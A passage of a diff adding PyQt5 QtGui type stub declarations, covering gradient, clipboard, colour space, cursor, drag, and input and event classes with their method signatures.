type: QGradient.Preset + DeepRelief = ... # type: QGradient.Preset + SeaStrike = ... # type: QGradient.Preset + NightCall = ... # type: QGradient.Preset + SupremeSky = ... # type: QGradient.Preset + LightBlue = ... # type: QGradient.Preset + MindCrawl = ... # type: QGradient.Preset + LilyMeadow = ... # type: QGradient.Preset + SugarLollipop = ... # type: QGradient.Preset + SweetDessert = ... # type: QGradient.Preset + MagicRay = ... # type: QGradient.Preset + TeenParty = ... # type: QGradient.Preset + FrozenHeat = ... # type: QGradient.Preset + GagarinView = ... # type: QGradient.Preset + FabledSunset = ... # type: QGradient.Preset + PerfectBlue = ... # type: QGradient.Preset + NumPresets = ... # type: QGradient.Preset + + class Spread(int): + PadSpread = ... # type: QGradient.Spread + ReflectSpread = ... # type: QGradient.Spread + RepeatSpread = ... # type: QGradient.Spread + + class Type(int): + LinearGradient = ... # type: QGradient.Type + RadialGradient = ... # type: QGradient.Type + ConicalGradient = ... # type: QGradient.Type + NoGradient = ... # type: QGradient.Type + + class CoordinateMode(int): + LogicalMode = ... # type: QGradient.CoordinateMode + StretchToDeviceMode = ... # type: QGradient.CoordinateMode + ObjectBoundingMode = ... # type: QGradient.CoordinateMode + ObjectMode = ... # type: QGradient.CoordinateMode + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QGradient.Preset') -> None: ... + @typing.overload + def __init__(self, a0: 'QGradient') -> None: ... + + def setCoordinateMode(self, mode: 'QGradient.CoordinateMode') -> None: ... + def coordinateMode(self) -> 'QGradient.CoordinateMode': ... + def setSpread(self, aspread: 'QGradient.Spread') -> None: ... + def stops(self) -> typing.List[typing.Tuple[float, QColor]]: ... + def setStops(self, stops: typing.Iterable[typing.Tuple[float, typing.Union[QColor, QtCore.Qt.GlobalColor, 'QGradient']]]) -> None: ... + def setColorAt(self, pos: float, color: typing.Union[QColor, QtCore.Qt.GlobalColor, 'QGradient']) -> None: ... + def spread(self) -> 'QGradient.Spread': ... + def type(self) -> 'QGradient.Type': ... + + +class QLinearGradient(QGradient): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, start: typing.Union[QtCore.QPointF, QtCore.QPoint], finalStop: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def __init__(self, xStart: float, yStart: float, xFinalStop: float, yFinalStop: float) -> None: ... + @typing.overload + def __init__(self, a0: 'QLinearGradient') -> None: ... + + @typing.overload + def setFinalStop(self, stop: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setFinalStop(self, x: float, y: float) -> None: ... + @typing.overload + def setStart(self, start: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setStart(self, x: float, y: float) -> None: ... + def finalStop(self) -> QtCore.QPointF: ... + def start(self) -> QtCore.QPointF: ... + + +class QRadialGradient(QGradient): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, center: typing.Union[QtCore.QPointF, QtCore.QPoint], radius: float, focalPoint: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def __init__(self, center: typing.Union[QtCore.QPointF, QtCore.QPoint], centerRadius: float, focalPoint: typing.Union[QtCore.QPointF, QtCore.QPoint], focalRadius: float) -> None: ... + @typing.overload + def __init__(self, center: typing.Union[QtCore.QPointF, QtCore.QPoint], radius: float) -> None: ... + @typing.overload + def __init__(self, cx: float, cy: float, radius: float, fx: float, fy: float) -> None: ... + @typing.overload + def __init__(self, cx: float, cy: float, centerRadius: float, fx: float, fy: float, focalRadius: float) -> None: ... + @typing.overload + def __init__(self, cx: float, cy: float, radius: float) -> None: ... + @typing.overload + def __init__(self, a0: 'QRadialGradient') -> None: ... + + def setFocalRadius(self, radius: float) -> None: ... + def focalRadius(self) -> float: ... + def setCenterRadius(self, radius: float) -> None: ... + def centerRadius(self) -> float: ... + def setRadius(self, radius: float) -> None: ... + @typing.overload + def setFocalPoint(self, focalPoint: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setFocalPoint(self, x: float, y: float) -> None: ... + @typing.overload + def setCenter(self, center: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setCenter(self, x: float, y: float) -> None: ... + def radius(self) -> float: ... + def focalPoint(self) -> QtCore.QPointF: ... + def center(self) -> QtCore.QPointF: ... + + +class QConicalGradient(QGradient): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, center: typing.Union[QtCore.QPointF, QtCore.QPoint], startAngle: float) -> None: ... + @typing.overload + def __init__(self, cx: float, cy: float, startAngle: float) -> None: ... + @typing.overload + def __init__(self, a0: 'QConicalGradient') -> None: ... + + def setAngle(self, angle: float) -> None: ... + @typing.overload + def setCenter(self, center: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setCenter(self, x: float, y: float) -> None: ... + def angle(self) -> float: ... + def center(self) -> QtCore.QPointF: ... + + +class QClipboard(QtCore.QObject): + + class Mode(int): + Clipboard = ... # type: QClipboard.Mode + Selection = ... # type: QClipboard.Mode + FindBuffer = ... # type: QClipboard.Mode + + def selectionChanged(self) -> None: ... + def findBufferChanged(self) -> None: ... + def dataChanged(self) -> None: ... + def changed(self, mode: 'QClipboard.Mode') -> None: ... + def setPixmap(self, a0: QPixmap, mode: 'QClipboard.Mode' = ...) -> None: ... + def setImage(self, a0: 'QImage', mode: 'QClipboard.Mode' = ...) -> None: ... + def pixmap(self, mode: 'QClipboard.Mode' = ...) -> QPixmap: ... + def image(self, mode: 'QClipboard.Mode' = ...) -> 'QImage': ... + def setMimeData(self, data: QtCore.QMimeData, mode: 'QClipboard.Mode' = ...) -> None: ... + def mimeData(self, mode: 'QClipboard.Mode' = ...) -> QtCore.QMimeData: ... + def setText(self, a0: str, mode: 'QClipboard.Mode' = ...) -> None: ... + @typing.overload + def text(self, mode: 'QClipboard.Mode' = ...) -> str: ... + @typing.overload + def text(self, subtype: str, mode: 'QClipboard.Mode' = ...) -> typing.Tuple[str, str]: ... + def ownsSelection(self) -> bool: ... + def ownsFindBuffer(self) -> bool: ... + def ownsClipboard(self) -> bool: ... + def supportsSelection(self) -> bool: ... + def supportsFindBuffer(self) -> bool: ... + def clear(self, mode: 'QClipboard.Mode' = ...) -> None: ... + + +class QColorSpace(sip.simplewrapper): + + class TransferFunction(int): + Custom = ... # type: QColorSpace.TransferFunction + Linear = ... # type: QColorSpace.TransferFunction + Gamma = ... # type: QColorSpace.TransferFunction + SRgb = ... # type: QColorSpace.TransferFunction + ProPhotoRgb = ... # type: QColorSpace.TransferFunction + + class Primaries(int): + Custom = ... # type: QColorSpace.Primaries + SRgb = ... # type: QColorSpace.Primaries + AdobeRgb = ... # type: QColorSpace.Primaries + DciP3D65 = ... # type: QColorSpace.Primaries + ProPhotoRgb = ... # type: QColorSpace.Primaries + + class NamedColorSpace(int): + SRgb = ... # type: QColorSpace.NamedColorSpace + SRgbLinear = ... # type: QColorSpace.NamedColorSpace + AdobeRgb = ... # type: QColorSpace.NamedColorSpace + DisplayP3 = ... # type: QColorSpace.NamedColorSpace + ProPhotoRgb = ... # type: QColorSpace.NamedColorSpace + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, namedColorSpace: 'QColorSpace.NamedColorSpace') -> None: ... + @typing.overload + def __init__(self, primaries: 'QColorSpace.Primaries', fun: 'QColorSpace.TransferFunction', gamma: float = ...) -> None: ... + @typing.overload + def __init__(self, primaries: 'QColorSpace.Primaries', gamma: float) -> None: ... + @typing.overload + def __init__(self, whitePoint: typing.Union[QtCore.QPointF, QtCore.QPoint], redPoint: typing.Union[QtCore.QPointF, QtCore.QPoint], greenPoint: typing.Union[QtCore.QPointF, QtCore.QPoint], bluePoint: typing.Union[QtCore.QPointF, QtCore.QPoint], fun: 'QColorSpace.TransferFunction', gamma: float = ...) -> None: ... + @typing.overload + def __init__(self, colorSpace: 'QColorSpace') -> None: ... + + def transformationToColorSpace(self, colorspace: 'QColorSpace') -> 'QColorTransform': ... + def iccProfile(self) -> QtCore.QByteArray: ... + @staticmethod + def fromIccProfile(iccProfile: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> 'QColorSpace': ... + def isValid(self) -> bool: ... + @typing.overload + def setPrimaries(self, primariesId: 'QColorSpace.Primaries') -> None: ... + @typing.overload + def setPrimaries(self, whitePoint: typing.Union[QtCore.QPointF, QtCore.QPoint], redPoint: typing.Union[QtCore.QPointF, QtCore.QPoint], greenPoint: typing.Union[QtCore.QPointF, QtCore.QPoint], bluePoint: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def withTransferFunction(self, transferFunction: 'QColorSpace.TransferFunction', gamma: float = ...) -> 'QColorSpace': ... + def setTransferFunction(self, transferFunction: 'QColorSpace.TransferFunction', gamma: float = ...) -> None: ... + def gamma(self) -> float: ... + def transferFunction(self) -> 'QColorSpace.TransferFunction': ... + def primaries(self) -> 'QColorSpace.Primaries': ... + def swap(self, colorSpace: 'QColorSpace') -> None: ... + + +class QColorTransform(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, colorTransform: 'QColorTransform') -> None: ... + + @typing.overload + def map(self, argb: int) -> int: ... + @typing.overload + def map(self, rgba64: 'QRgba64') -> 'QRgba64': ... + @typing.overload + def map(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> QColor: ... + def swap(self, other: 'QColorTransform') -> None: ... + + +class QCursor(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, bitmap: QBitmap, mask: QBitmap, hotX: int = ..., hotY: int = ...) -> None: ... + @typing.overload + def __init__(self, pixmap: QPixmap, hotX: int = ..., hotY: int = ...) -> None: ... + @typing.overload + def __init__(self, cursor: typing.Union['QCursor', QtCore.Qt.CursorShape]) -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def swap(self, other: typing.Union['QCursor', QtCore.Qt.CursorShape]) -> None: ... + @typing.overload + @staticmethod + def setPos(x: int, y: int) -> None: ... + @typing.overload + @staticmethod + def setPos(p: QtCore.QPoint) -> None: ... + @typing.overload + @staticmethod + def setPos(screen: 'QScreen', x: int, y: int) -> None: ... + @typing.overload + @staticmethod + def setPos(screen: 'QScreen', p: QtCore.QPoint) -> None: ... + @typing.overload + @staticmethod + def pos() -> QtCore.QPoint: ... + @typing.overload + @staticmethod + def pos(screen: 'QScreen') -> QtCore.QPoint: ... + def hotSpot(self) -> QtCore.QPoint: ... + def pixmap(self) -> QPixmap: ... + def mask(self) -> QBitmap: ... + def bitmap(self) -> QBitmap: ... + def setShape(self, newShape: QtCore.Qt.CursorShape) -> None: ... + def shape(self) -> QtCore.Qt.CursorShape: ... + + +class QDesktopServices(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDesktopServices') -> None: ... + + @staticmethod + def unsetUrlHandler(scheme: str) -> None: ... + @typing.overload + @staticmethod + def setUrlHandler(scheme: str, receiver: QtCore.QObject, method: str) -> None: ... + @typing.overload + @staticmethod + def setUrlHandler(scheme: str, method: typing.Callable[[QtCore.QUrl], None]) -> None: ... + @staticmethod + def openUrl(url: QtCore.QUrl) -> bool: ... + + +class QDrag(QtCore.QObject): + + def __init__(self, dragSource: QtCore.QObject) -> None: ... + + @staticmethod + def cancel() -> None: ... + def defaultAction(self) -> QtCore.Qt.DropAction: ... + def supportedActions(self) -> QtCore.Qt.DropActions: ... + def dragCursor(self, action: QtCore.Qt.DropAction) -> QPixmap: ... + def targetChanged(self, newTarget: QtCore.QObject) -> None: ... + def actionChanged(self, action: QtCore.Qt.DropAction) -> None: ... + def setDragCursor(self, cursor: QPixmap, action: QtCore.Qt.DropAction) -> None: ... + def target(self) -> QtCore.QObject: ... + def source(self) -> QtCore.QObject: ... + def hotSpot(self) -> QtCore.QPoint: ... + def setHotSpot(self, hotspot: QtCore.QPoint) -> None: ... + def pixmap(self) -> QPixmap: ... + def setPixmap(self, a0: QPixmap) -> None: ... + def mimeData(self) -> QtCore.QMimeData: ... + def setMimeData(self, data: QtCore.QMimeData) -> None: ... + @typing.overload + def exec(self, supportedActions: typing.Union[QtCore.Qt.DropActions, QtCore.Qt.DropAction] = ...) -> QtCore.Qt.DropAction: ... + @typing.overload + def exec(self, supportedActions: typing.Union[QtCore.Qt.DropActions, QtCore.Qt.DropAction], defaultDropAction: QtCore.Qt.DropAction) -> QtCore.Qt.DropAction: ... + @typing.overload + def exec_(self, supportedActions: typing.Union[QtCore.Qt.DropActions, QtCore.Qt.DropAction] = ...) -> QtCore.Qt.DropAction: ... + @typing.overload + def exec_(self, supportedActions: typing.Union[QtCore.Qt.DropActions, QtCore.Qt.DropAction], defaultDropAction: QtCore.Qt.DropAction) -> QtCore.Qt.DropAction: ... + + +class QInputEvent(QtCore.QEvent): + + def setTimestamp(self, atimestamp: int) -> None: ... + def timestamp(self) -> int: ... + def modifiers(self) -> QtCore.Qt.KeyboardModifiers: ... + + +class QMouseEvent(QInputEvent): + + @typing.overload + def __init__(self, type: QtCore.QEvent.Type, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], button: QtCore.Qt.MouseButton, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> None: ... + @typing.overload + def __init__(self, type: QtCore.QEvent.Type, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], globalPos: typing.Union[QtCore.QPointF, QtCore.QPoint], button: QtCore.Qt.MouseButton, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> None: ... + @typing.overload + def __init__(self, type: QtCore.QEvent.Type, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], windowPos: typing.Union[QtCore.QPointF, QtCore.QPoint], globalPos: typing.Union[QtCore.QPointF, QtCore.QPoint], button: QtCore.Qt.MouseButton, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> None: ... + @typing.overload + def __init__(self, type: QtCore.QEvent.Type, localPos: typing.Union[QtCore.QPointF, QtCore.QPoint], windowPos: typing.Union[QtCore.QPointF, QtCore.QPoint], screenPos: typing.Union[QtCore.QPointF, QtCore.QPoint], button: QtCore.Qt.MouseButton, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], source: QtCore.Qt.MouseEventSource) -> None: ... + @typing.overload + def __init__(self, a0: 'QMouseEvent') -> None: ... + + def flags(self) -> QtCore.Qt.MouseEventFlags: ... + def source(self) -> QtCore.Qt.MouseEventSource: ... + def screenPos(self) -> QtCore.QPointF: ... + def windowPos(self) -> QtCore.QPointF: ... + def localPos(self) -> QtCore.QPointF: ... + def buttons(self) -> QtCore.Qt.MouseButtons: ... + def button(self) -> QtCore.Qt.MouseButton: ... + def globalY(self) -> int: ... + def globalX(self) -> int: ... + def y(self) -> int: ... + def x(self) -> int: ... + def globalPos(self) -> QtCore.QPoint: ... + def pos(self) -> QtCore.QPoint: ... + + +class QHoverEvent(QInputEvent): + + @typing.overload + def __init__(self, type: QtCore.QEvent.Type, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], oldPos: typing.Union[QtCore.QPointF, QtCore.QPoint], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QHoverEvent') -> None: ... + + def oldPosF(self) -> QtCore.QPointF: ... + def posF(self) -> QtCore.QPointF: ... + def oldPos(self) -> QtCore.QPoint: ... + def pos(self) -> QtCore.QPoint: ... + + +class QWheelEvent(QInputEvent): + + @typing.overload + def __init__(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], globalPos: typing.Union[QtCore.QPointF, QtCore.QPoint], pixelDelta: QtCore.QPoint, angleDelta: QtCore.QPoint, qt4Delta: int, qt4Orientation: QtCore.Qt.Orientation, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> None: ... + @typing.overload + def __init__(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], globalPos: typing.Union[QtCore.QPointF, QtCore.QPoint], pixelDelta: QtCore.QPoint, angleDelta: QtCore.QPoint, qt4Delta: int, qt4Orientation: QtCore.Qt.Orientation, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], phase: QtCore.Qt.ScrollPhase) -> None: ... + @typing.overload + def __init__(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], globalPos: typing.Union[QtCore.QPointF, QtCore.QPoint], pixelDelta: QtCore.QPoint, angleDelta: QtCore.QPoint, qt4Delta: int, qt4Orientation: QtCore.Qt.Orientation, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], phase: QtCore.Qt.ScrollPhase, source: QtCore.Qt.MouseEventSource) -> None: ... + @typing.overload + def __init__(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], globalPos: typing.Union[QtCore.QPointF, QtCore.QPoint], pixelDelta: QtCore.QPoint, angleDelta: QtCore.QPoint, qt4Delta: int, qt4Orientation: QtCore.Qt.Orientation, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], phase: QtCore.Qt.ScrollPhase, source: QtCore.Qt.MouseEventSource, inverted: bool) -> None: ... + @typing.overload + def __init__(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], globalPos: typing.Union[QtCore.QPointF, QtCore.QPoint], pixelDelta: QtCore.QPoint, angleDelta: QtCore.QPoint, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], phase: QtCore.Qt.ScrollPhase, inverted: bool, source: QtCore.Qt.MouseEventSource = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QWheelEvent') -> None: ... + + def globalPosition(self) -> QtCore.QPointF: ... + def position(self) -> QtCore.QPointF: ... + def inverted(self) -> bool: ... + def source(self) -> QtCore.Qt.MouseEventSource: ... + def phase(self) -> QtCore.Qt.ScrollPhase: ... + def globalPosF(self) -> QtCore.QPointF: ... + def posF(self) -> QtCore.QPointF: ... + def angleDelta(self) -> QtCore.QPoint: ... + def pixelDelta(self) -> QtCore.QPoint: ... + def buttons(self) -> QtCore.Qt.MouseButtons: ... + def globalY(self) -> int: ... + def globalX(self) -> int: ... + def y(self) -> int: ... + def x(self) -> int: ... + def globalPos(self) -> QtCore.QPoint: ... + def pos(self) -> QtCore.QPoint: ... + + +class QTabletEvent(QInputEvent): + + class PointerType(int): + UnknownPointer = ... # type: QTabletEvent.PointerType + Pen = ... # type: QTabletEvent.PointerType + Cursor = ... # type: QTabletEvent.PointerType + Eraser = ... # type: QTabletEvent.PointerType + + class TabletDevice(int): + NoDevice = ... # type: QTabletEvent.TabletDevice + Puck = ... # type: QTabletEvent.TabletDevice + Stylus = ... # type: QTabletEvent.TabletDevice + Airbrush = ... # type: QTabletEvent.TabletDevice + FourDMouse = ... # type: QTabletEvent.TabletDevice + XFreeEraser = ... # type: QTabletEvent.TabletDevice + RotationStylus = ... # type: QTabletEvent.TabletDevice + + @typing.overload + def __init__(self, t: QtCore.QEvent.Type, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], globalPos: typing.Union[QtCore.QPointF, QtCore.QPoint], device: int, pointerType: int, pressure: float, xTilt: int, yTilt: int, tangentialPressure: float, rotation: float, z: int, keyState: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], uniqueID: int, button: QtCore.Qt.MouseButton, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton]) -> None: ... + @typing.overload + def __init__(self, t: QtCore.QEvent.Type, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], globalPos: typing.Union[QtCore.QPointF, QtCore.QPoint], device: int, pointerType: int, pressure: float, xTilt: int, yTilt: int, tangentialPressure: float, rotation: float, z: int, keyState: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], uniqueID: int) -> None: ... + @typing.overload + def __init__(self, a0: 'QTabletEvent') -> None: ... + + def deviceType(self) -> 'QTabletEvent.TabletDevice': ... + def buttons(self) -> QtCore.Qt.MouseButtons: ... + def button(self) -> QtCore.Qt.MouseButton: ... + def globalPosF(self) -> QtCore.QPointF: ... + def posF(self) -> QtCore.QPointF: ... + def yTilt(self) -> int: ... + def xTilt(self) -> int: ... + def rotation(self) -> float: ... + def tangentialPressure(self) -> float: ... + def z(self) -> int: ... + def pressure(self) -> float: ... + def uniqueId(self) -> int: ... + def pointerType(self) -> 'QTabletEvent.PointerType': ... + def device(self) -> 'QTabletEvent.TabletDevice': ... + def hiResGlobalY(self) -> float: ... + def hiResGlobalX(self) -> float: ... + def globalY(self) -> int: ... + def globalX(self) -> int: ... + def y(self) -> int: ... + def x(self) -> int: ... + def globalPos(self) -> QtCore.QPoint: ... + def pos(self) -> QtCore.QPoint: ... + + +class QKeyEvent(QInputEvent): + + @typing.overload + def __init__(self, type: QtCore.QEvent.Type, key: int, modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], nativeScanCode: int, nativeVirtualKey: int, nativeModifiers: int, text: str = ..., autorep: bool = ..., count: int = ...) -> None: ... + @typing.overload + def __init__(self, type: QtCore.QEvent.Type, key: int, modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], text: str = ..., autorep: bool = ..., count: int = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QKeyEvent') -> None: ... + + def nativeVirtualKey(self) -> int: ... + def nativeScanCode(self) -> int: ... + def nativeModifiers(self) -> int: ... + def matches(self, key: 'QKeySequence.StandardKey') -> bool: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def isAutoRepeat(self) -> bool: ... + def text(self) -> str: ... + def modifiers(self) -> QtCore.Qt.KeyboardModifiers: ... + def key(self) -> int: ... + + +class QFocusEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, type: QtCore.QEvent.Type, reason: QtCore.Qt.FocusReason = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QFocusEvent') -> None: ... + + def reason(self) -> QtCore.Qt.FocusReason: ... + def lostFocus(self) -> bool: ... + def gotFocus(self) -> bool: ... + + +class QPaintEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, paintRegion: 'QRegion') -> None: ... + @typing.overload + def __init__(self, paintRect: QtCore.QRect) -> None: ... + @typing.overload + def __init__(self, a0: 'QPaintEvent') -> None: ... + + def region(self) -> 'QRegion': ... + def rect(self) -> QtCore.QRect: ... + + +class QMoveEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, pos: QtCore.QPoint, oldPos: QtCore.QPoint) -> None: ... + @typing.overload + def __init__(self, a0: 'QMoveEvent') -> None: ... + + def oldPos(self) -> QtCore.QPoint: ... + def pos(self) -> QtCore.QPoint: ... + + +class QResizeEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, size: QtCore.QSize, oldSize: QtCore.QSize) -> None: ... + @typing.overload + def __init__(self, a0: 'QResizeEvent') -> None: ... + + def oldSize(self) -> QtCore.QSize: ... + def size(self) -> QtCore.QSize: ... + + +class QCloseEvent(QtCore.QEvent): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QCloseEvent') -> None: ... + + +class QIconDragEvent(QtCore.QEvent): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QIconDragEvent') -> None: ... + + +class QShowEvent(QtCore.QEvent): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QShowEvent') -> None: ... + + +class QHideEvent(QtCore.QEvent): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QHideEvent') -> None: ... + + +class QContextMenuEvent(QInputEvent): + + class Reason(int): + Mouse = ... # type: QContextMenuEvent.Reason + Keyboard = ... # type: QContextMenuEvent.Reason + Other = ... # type: QContextMenuEvent.Reason + + @typing.overload + def __init__(self, reason: 'QContextMenuEvent.Reason', pos: QtCore.QPoint, globalPos: QtCore.QPoint, modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> None: ... + @typing.overload + def __init__(self, reason: 'QContextMenuEvent.Reason', pos: QtCore.QPoint, globalPos: QtCore.QPoint) -> None: ... + @typing.overload + def __init__(self, reason: 'QContextMenuEvent.Reason', pos: QtCore.QPoint) -> None: ... + @typing.overload + def __init__(self, a0: 'QContextMenuEvent') -> None: ... + + def reason(self) -> 'QContextMenuEvent.Reason': ... + def globalPos(self) -> QtCore.QPoint: ... + def pos(self) -> QtCore.QPoint: ... + def globalY(self) -> int: ... + def globalX(self) -> int: ... + def y(self) -> int: ... + def x(self) -> int: ... + + +class QInputMethodEvent(QtCore.QEvent): + + class AttributeType(int): + TextFormat = ... # type: QInputMethodEvent.AttributeType + Cursor = ... # type: QInputMethodEvent.AttributeType + Language = ... # type: QInputMethodEvent.AttributeType + Ruby = ... # type: QInputMethodEvent.AttributeType + Selection = ... # type: QInputMethodEvent.AttributeType + + class Attribute(sip.simplewrapper): + + length = ... # type: int + start = ... # type: int + type = ... # type: 'QInputMethodEvent.AttributeType' + value = ... # type: typing.Any + + @typing.overload + def __init__(self, t: 'QInputMethodEvent.AttributeType', s: int, l: int, val: typing.Any) -> None: ... + @typing.overload + def __init__(self, typ: 'QInputMethodEvent.AttributeType', s: int, l: int) -> None: ... + @typing.overload + def __init__(self, a0: 'QInputMethodEvent.Attribute') -> None: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, preeditText: str, attributes: typing.Iterable['QInputMethodEvent.Attribute']) -> None: ... + @typing.overload + def __init__(self, other: 'QInputMethodEvent') -> None: ... + + def replacementLength(self) -> int: ... + def replacementStart(self) -> int: ... + def commitString(self) -> str: ... + def preeditString(self) -> str: ... + def attributes(self) -> typing.List['QInputMethodEvent.Attribute']: ... + def setCommitString(self, commitString: str, from_: int = ..., length: int = ...) -> None: ... + + +class QInputMethodQueryEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, queries: typing.Union[QtCore.Qt.InputMethodQueries, QtCore.Qt.InputMethodQuery]) -> None: ... + @typing.overload + def __init__(self, a0: 'QInputMethodQueryEvent') -> None: ... + + def value(self, query: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + def setValue(self, query: QtCore.Qt.InputMethodQuery, value: typing.Any) -> None: ... + def queries(self) -> QtCore.Qt.InputMethodQueries: ... + + +class QDropEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], actions: typing.Union[QtCore.Qt.DropActions, QtCore.Qt.DropAction], data: QtCore.QMimeData, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], type: QtCore.QEvent.Type = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QDropEvent') -> None: ... + + def mimeData(self) -> QtCore.QMimeData: ... + def source(self) -> QtCore.QObject: ... + def setDropAction(self, action: QtCore.Qt.DropAction) -> None: ... + def dropAction(self) -> QtCore.Qt.DropAction: ... + def acceptProposedAction(self) -> None: ... + def proposedAction(self) -> QtCore.Qt.DropAction: ... + def possibleActions(self) -> QtCore.Qt.DropActions: ... + def keyboardModifiers(self) -> QtCore.Qt.KeyboardModifiers: ... + def mouseButtons(self) -> QtCore.Qt.MouseButtons: ... + def posF(self) -> QtCore.QPointF: ... + def pos(self) -> QtCore.QPoint: ... + + +class QDragMoveEvent(QDropEvent): + + @typing.overload + def __init__(self, pos: QtCore.QPoint, actions: typing.Union[QtCore.Qt.DropActions, QtCore.Qt.DropAction], data: QtCore.QMimeData, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier], type: QtCore.QEvent.Type = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QDragMoveEvent') -> None: ... + + @typing.overload + def ignore(self) -> None: ... + @typing.overload + def ignore(self, r: QtCore.QRect) -> None: ... + @typing.overload + def accept(self) -> None: ... + @typing.overload + def accept(self, r: QtCore.QRect) -> None: ... + def answerRect(self) -> QtCore.QRect: ... + + +class QDragEnterEvent(QDragMoveEvent): + + @typing.overload + def __init__(self, pos: QtCore.QPoint, actions: typing.Union[QtCore.Qt.DropActions, QtCore.Qt.DropAction], data: QtCore.QMimeData, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton], modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> None: ... + @typing.overload + def __init__(self, a0: 'QDragEnterEvent') -> None: ... + + +class QDragLeaveEvent(QtCore.QEvent): + + 